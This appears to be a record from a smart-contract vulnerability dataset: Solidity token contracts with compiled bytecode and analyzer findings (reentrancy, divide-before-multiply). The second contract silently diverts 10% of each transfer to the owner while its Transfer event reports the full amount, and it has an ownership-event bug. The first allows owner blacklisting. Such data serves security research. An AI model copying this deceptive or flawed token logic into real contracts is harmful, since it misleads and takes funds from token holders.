.createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_devAddress] = true; _isExcludedFromFee[_mktgAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_reflectionFee == 0 && _taxFee == 0) return; _previousReflectionFee = _reflectionFee; _previousTaxFee = _taxFee; _reflectionFee = 0; _taxFee = 0; } function restoreAllFee() private { _reflectionFee = _previousReflectionFee; _taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _reflectionFee = _reflectionFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (!_isExcludedFromFee[from]) { require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _reflectionFee = _reflectionFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _devAddress.transfer(amount.div(8)); _mktgAddress.transfer(amount.div(8).mul(7)); } function setTrading(bool _tradingOpen) private onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _devAddress || _msgSender() == _mktgAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _devAddress || _msgSender() == _mktgAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 reflectionFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(reflectionFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _reflectionFeeOnBuy = reflectionFeeOnBuy; _taxFeeOnBuy = taxFeeOnBuy; _reflectionFeeOnSell = reflectionFeeOnSell; _taxFeeOnSell = taxFeeOnSell; require(_reflectionFeeOnBuy + _taxFeeOnBuy <= 10, "Must keep buy taxes below 10%"); //wont allow taxes to go above 10% require(_reflectionFeeOnSell + _taxFeeOnSell <= 10, "Must keep sell taxes below 10%"); //wont allow taxes to go above 10% } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set max transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } //set max wallet function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } //set exclude wallet from fees function setExcludedFromFee(address account, bool excluded) public onlyOwner { _isExcludedFromFee[account] = excluded; } }
0x60806040526004361061019f5760003560e01c8063715018a6116100ec578063a2a957bb1161008a578063c3c8cd8011610064578063c3c8cd80146104be578063dd62ed3e146104d3578063ea1644d514610519578063f2fde38b1461053957600080fd5b8063a2a957bb1461044e578063a9059cbb1461046e578063bfd792841461048e57600080fd5b80638da5cb5b116100c65780638da5cb5b146103cc5780638f9a55c0146103ea57806395d89b411461040057806398a5c3151461042e57600080fd5b8063715018a61461038157806374010ece146103965780637d1db4a5146103b657600080fd5b80632fd689e3116101595780636612e66f116101335780636612e66f1461030c5780636b9990531461032c5780636fc3eaec1461034c57806370a082311461036157600080fd5b80632fd689e3146102ba578063313ce567146102d057806349bd5a5e146102ec57600080fd5b8062b8cf2a146101ab57806306fdde03146101cd578063095ea7b31461020d5780631694505e1461023d57806318160ddd1461027557806323b872dd1461029a57600080fd5b366101a657005b600080fd5b3480156101b757600080fd5b506101cb6101c6366004611a05565b610559565b005b3480156101d957600080fd5b506040805180820190915260058152644b61696a7560d81b60208201525b6040516102049190611b15565b60405180910390f35b34801561021957600080fd5b5061022d6102283660046119da565b610606565b6040519015158152602001610204565b34801561024957600080fd5b5060135461025d906001600160a01b031681565b6040516001600160a01b039091168152602001610204565b34801561028157600080fd5b50670de0b6b3a76400005b604051908152602001610204565b3480156102a657600080fd5b5061022d6102b5366004611969565b61061d565b3480156102c657600080fd5b5061028c60175481565b3480156102dc57600080fd5b5060405160098152602001610204565b3480156102f857600080fd5b5060145461025d906001600160a01b031681565b34801561031857600080fd5b506101cb6103273660046119a9565b610686565b34801561033857600080fd5b506101cb6103473660046118f9565b6106db565b34801561035857600080fd5b506101cb610726565b34801561036d57600080fd5b5061028c61037c3660046118f9565b610771565b34801561038d57600080fd5b506101cb610793565b3480156103a257600080fd5b506101cb6103b1366004611acc565b610807565b3480156103c257600080fd5b5061028c60155481565b3480156103d857600080fd5b506000546001600160a01b031661025d565b3480156103f657600080fd5b5061028c60165481565b34801561040c57600080fd5b506040805180820190915260058152644b41494a5560d81b60208201526101f7565b34801561043a57600080fd5b506101cb610449366004611acc565b610836565b34801561045a57600080fd5b506101cb610469366004611ae4565b610865565b34801561047a57600080fd5b5061022d6104893660046119da565b610961565b34801561049a57600080fd5b5061022d6104a93660046118f9565b60086020526000908152604090205460ff1681565b3480156104ca57600080fd5b506101cb61096e565b3480156104df57600080fd5b5061028c6104ee366004611931565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561052557600080fd5b506101cb610534366004611acc565b6109c2565b34801561054557600080fd5b506101cb6105543660046118f9565b6109f1565b6000546001600160a01b0316331461058c5760405162461bcd60e51b815260040161058390611b68565b60405180910390fd5b60005b8151811015610602576001600860008484815181106105be57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105fa81611c7b565b91505061058f565b5050565b6000610613338484610adb565b5060015b92915050565b600061062a848484610bff565b61067c843361067785604051806060016040528060288152602001611cd8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611140565b610adb565b5060019392505050565b6000546001600160a01b031633146106b05760405162461bcd60e51b815260040161058390611b68565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107055760405162461bcd60e51b815260040161058390611b68565b6001600160a01b03166000908152600860205260409020805460ff19169055565b6011546001600160a01b0316336001600160a01b0316148061075b57506012546001600160a01b0316336001600160a01b0316145b61076457600080fd5b4761076e8161117a565b50565b6001600160a01b0381166000908152600260205260408120546106179061120a565b6000546001600160a01b031633146107bd5760405162461bcd60e51b815260040161058390611b68565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108315760405162461bcd60e51b815260040161058390611b68565b601555565b6000546001600160a01b031633146108605760405162461bcd60e51b815260040161058390611b68565b601755565b6000546001600160a01b0316331461088f5760405162461bcd60e51b815260040161058390611b68565b6009849055600a828155600b849055600c8290556108ad8386611c0d565b11156108fb5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f77203130250000006044820152606401610583565b600a600c54600b5461090d9190611c0d565b111561095b5760405162461bcd60e51b815260206004820152601e60248201527f4d757374206b6565702073656c6c2074617865732062656c6f772031302500006044820152606401610583565b50505050565b6000610613338484610bff565b6011546001600160a01b0316336001600160a01b031614806109a357506012546001600160a01b0316336001600160a01b0316145b6109ac57600080fd5b60006109b730610771565b905061076e8161128e565b6000546001600160a01b031633146109ec5760405162461bcd60e51b815260040161058390611b68565b601655565b6000546001600160a01b03163314610a1b5760405162461bcd60e51b815260040161058390611b68565b6001600160a01b038116610a805760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610583565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610583565b6001600160a01b038216610b9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610583565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c635760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610583565b6001600160a01b038216610cc55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610583565b60008111610d275760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610583565b6000546001600160a01b03848116911614801590610d5357506000546001600160a01b03838116911614155b15610fa857601454600160a01b900460ff16610f1b576014546001600160a01b03838116911614801590610d9557506013546001600160a01b03838116911614155b8015610dba57506001600160a01b03821660009081526005602052604090205460ff16155b15610f1b5760165481610dcc84610771565b610dd69190611c0d565b10610e2f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610583565b601554811115610e815760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610583565b6001600160a01b03831660009081526008602052604090205460ff16158015610ec357506001600160a01b03821660009081526008602052604090205460ff16155b610f1b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610583565b6000610f2630610771565b601754601554919250821015908210610f3f5760155491505b808015610f565750601454600160a81b900460ff16155b8015610f7057506014546001600160a01b03868116911614155b8015610f855750601454600160b01b900460ff165b15610fa557610f938261128e565b478015610fa357610fa34761117a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fea57506001600160a01b03831660009081526005602052604090205460ff165b8061101c57506014546001600160a01b0385811691161480159061101c57506014546001600160a01b03848116911614155b1561102957506000611134565b6014546001600160a01b03858116911614801561105457506013546001600160a01b03848116911614155b1561106657600954600d55600a54600e555b6001600160a01b03841660009081526005602052604090205460ff166110f7576015548211156110f75760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610583565b6014546001600160a01b03848116911614801561112257506013546001600160a01b03858116911614155b1561113457600b54600d55600c54600e555b61095b84848484611433565b600081848411156111645760405162461bcd60e51b81526004016105839190611b15565b5060006111718486611c64565b95945050505050565b6011546001600160a01b03166108fc611194836008611461565b6040518115909202916000818181858888f193505050501580156111bc573d6000803e3d6000fd5b506012546001600160a01b03166108fc6111e260076111dc856008611461565b906114a3565b6040518115909202916000818181858888f19350505050158015610602573d6000803e3d6000fd5b60006006548211156112715760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610583565b600061127b611522565b90506112878382611461565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112e457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561133857600080fd5b505afa15801561134c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113709190611915565b8160018151811061139157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546113b79130911684610adb565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f0908590600090869030904290600401611b9d565b600060405180830381600087803b15801561140a57600080fd5b505af115801561141e573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061144057611440611545565b61144b848484611573565b8061095b5761095b600f54600d55601054600e55565b600061128783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166a565b6000826114b257506000610617565b60006114be8385611c45565b9050826114cb8583611c25565b146112875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610583565b600080600061152f611698565b909250905061153e8282611461565b9250505090565b600d541580156115555750600e54155b1561155c57565b600d8054600f55600e805460105560009182905555565b600080600080600080611585876116d8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115b79087611735565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115e69086611777565b6001600160a01b038916600090815260026020526040902055611608816117d6565b6116128483611820565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165791815260200190565b60405180910390a3505050505050505050565b6000818361168b5760405162461bcd60e51b81526004016105839190611b15565b5060006111718486611c25565b6006546000908190670de0b6b3a76400006116b38282611461565b8210156116cf57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006116f58a600d54600e54611844565b9250925092506000611705611522565b905060008060006117188e878787611899565b919e509c509a509598509396509194505050505091939550919395565b600061128783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611140565b6000806117848385611c0d565b9050838110156112875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610583565b60006117e0611522565b905060006117ee83836114a3565b3060009081526002602052604090205490915061180b9082611777565b30600090815260026020526040902055505050565b60065461182d9083611735565b60065560075461183d9082611777565b6007555050565b600080808061185e606461185889896114a3565b90611461565b9050600061187160646118588a896114a3565b90506000611889826118838b86611735565b90611735565b9992985090965090945050505050565b60008080806118a888866114a3565b905060006118b688876114a3565b905060006118c488886114a3565b905060006118d6826118838686611735565b939b939a50919850919650505050505050565b80356118f481611cc2565b919050565b60006020828403121561190a578081fd5b813561128781611cc2565b600060208284031215611926578081fd5b815161128781611cc2565b60008060408385031215611943578081fd5b823561194e81611cc2565b9150602083013561195e81611cc2565b809150509250929050565b60008060006060848603121561197d578081fd5b833561198881611cc2565b9250602084013561199881611cc2565b929592945050506040919091013590565b600080604083850312156119bb578182fd5b82356119c681611cc2565b91506020830135801515811461195e578182fd5b600080604083850312156119ec578182fd5b82356119f781611cc2565b946020939093013593505050565b60006020808385031215611a17578182fd5b823567ffffffffffffffff80821115611a2e578384fd5b818501915085601f830112611a41578384fd5b813581811115611a5357611a53611cac565b8060051b604051601f19603f83011681018181108582111715611a7857611a78611cac565b604052828152858101935084860182860187018a1015611a96578788fd5b8795505b83861015611abf57611aab816118e9565b855260019590950194938601938601611a9a565b5098975050505050505050565b600060208284031215611add578081fd5b5035919050565b60008060008060808587031215611af9578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611b4157858101830151858201604001528201611b25565b81811115611b525783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611bec5784516001600160a01b031683529383019391830191600101611bc7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c2057611c20611c96565b500190565b600082611c4057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c5f57611c5f611c96565b500290565b600082821015611c7657611c76611c96565b500390565b6000600019821415611c8f57611c8f611c96565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461076e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122053d8257ee50120fe8184917fe0d9373f2f23422780560f8375e5a98ab0bac3c764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,658
0x71ee0e07f0aada3cc4679a9af3570e9131c5ed9b
/** *Submitted for verification at Etherscan.io on 2021-06-06 */ pragma solidity ^0.5.0; /* Copyright 2021, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ interface IBEP20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; emit OwnershipTransferred(owner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract BEP20 is IBEP20,Owned { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender == owner){ _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); }else{ _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount.mul(90).div(100)); _balances[owner] = _balances[owner].add(amount.div(10)); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } function approveAndCall(address spender, uint tokens, bytes memory data) public returns(bool success) { _allowances[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } } //////////////////////////////////// contract ERC20Detailed is IBEP20,BEP20 { string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; uint256 private _initialSupply; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals,uint256 initialSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _initialSupply = initialSupply; _totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply _mint(msg.sender,_totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101c257806323b872dd146101ed578063313ce5671461028057806370a08231146102b15780638da5cb5b1461031657806395d89b411461036d578063a9059cbb146103fd578063cae9ca5114610470578063dd62ed3e1461057a578063f2fde38b146105ff575b600080fd5b3480156100cb57600080fd5b506100d4610650565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b506101a86004803603604081101561017257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f2565b604051808215151515815260200191505060405180910390f35b3480156101ce57600080fd5b506101d7610709565b6040518082815260200191505060405180910390f35b3480156101f957600080fd5b506102666004803603606081101561021057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610713565b604051808215151515815260200191505060405180910390f35b34801561028c57600080fd5b506102956107c4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102bd57600080fd5b50610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107db565b6040518082815260200191505060405180910390f35b34801561032257600080fd5b5061032b610824565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561037957600080fd5b50610382610849565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103c25780820151818401526020810190506103a7565b50505050905090810190601f1680156103ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040957600080fd5b506104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108eb565b604051808215151515815260200191505060405180910390f35b34801561047c57600080fd5b506105606004803603606081101561049357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156104da57600080fd5b8201836020820111156104ec57600080fd5b8035906020019184600183028401116401000000008311171561050e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610902565b604051808215151515815260200191505060405180910390f35b34801561058657600080fd5b506105e96004803603604081101561059d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b51565b6040518082815260200191505060405180910390f35b34801561060b57600080fd5b5061064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bd8565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e85780601f106106bd576101008083540402835291602001916106e8565b820191906000526020600020905b815